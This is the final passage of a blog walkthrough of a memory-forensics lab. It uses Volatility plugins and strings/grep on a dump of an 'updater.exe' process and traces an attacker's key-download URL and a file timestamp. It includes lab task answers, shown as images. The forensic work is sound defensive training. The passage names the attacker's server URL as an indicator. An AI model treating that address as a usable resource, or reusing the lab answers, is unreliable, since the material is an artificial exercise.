Data</strong></p><p><strong>Using the windows.filescan plugin</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*FLk-d3W9R5Ct1QMa3CNPKw@2x.jpeg" /></figure><p><strong>Using the windows.mftscan.MFTScan plugin</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*IPa2BueHFaYnzueNZhaIoQ@2x.jpeg" /></figure><p><strong>Using the windows.memmap plugin</strong></p><p>Creating a memory dump of the memory region related to the <strong>process ID 1612</strong> as discovered earlier is the process ID of the updater.exe process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*613iap7UYOUA9HkmxfFqCQ@2x.jpeg" /></figure><p>Using the strings command to extract the strings from the memory dump and using grep to match the strings with the string <strong>“http”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*8FYepyYkvmPg7DOqRDb56w@2x.jpeg" /></figure><p>Using the command below to search for the string “<strong>http://key.critical-update.com/encKEY.txt”</strong> within the file pid.1612.dmp, it displays 10 lines before and 10 lines after each match, utilizing the strings command to extract readable text from the dump file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*AGFxY9D8JPSS2vxLkJktGA@2x.jpeg" /></figure><p>I found it the server used by attacker has been indentified and timestamp created of file <strong>important_document.pdf</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*Nrh80O5XLfJiXnTKxaRZPg@2x.jpeg" /></figure><p><strong>Task 6 answers:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*9LRU9tYxYr6I_Wz2vuPHug@2x.jpeg" /></figure><h3><strong>Task 7 Conclusion</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*9NOvDDCClTEdC_ZI96Eh8g@2x.jpeg" /></figure><h3>Conclusion and Wrapping Up:</h3><p>In this scenario, we have put into practice the skills necessary to start digging into the world of memory forensics and practice with a tool like volatility, which is widely used among digital forensics professionals.</p><p>We learned how to gather information about the machine the dump belongs to, search for connections, enumerate and investigate processes, and examine the content for malicious patterns in a memory dump.</p><p>While all the information presented in his room can be used in real-life scenarios, it is possible to delve more deeply into the topic by examining more complex attacks. Some interesting material to get more into it can be the following:</p><p>. Windows Forensics 2</p><p>. Linux Forensics</p><p>. iOS Forensics</p><p>. Windows Applications Forensics</p><p>Completed and well done guys!!!👏🏼👏🏼👏🏼✅</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e581078da9b8" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>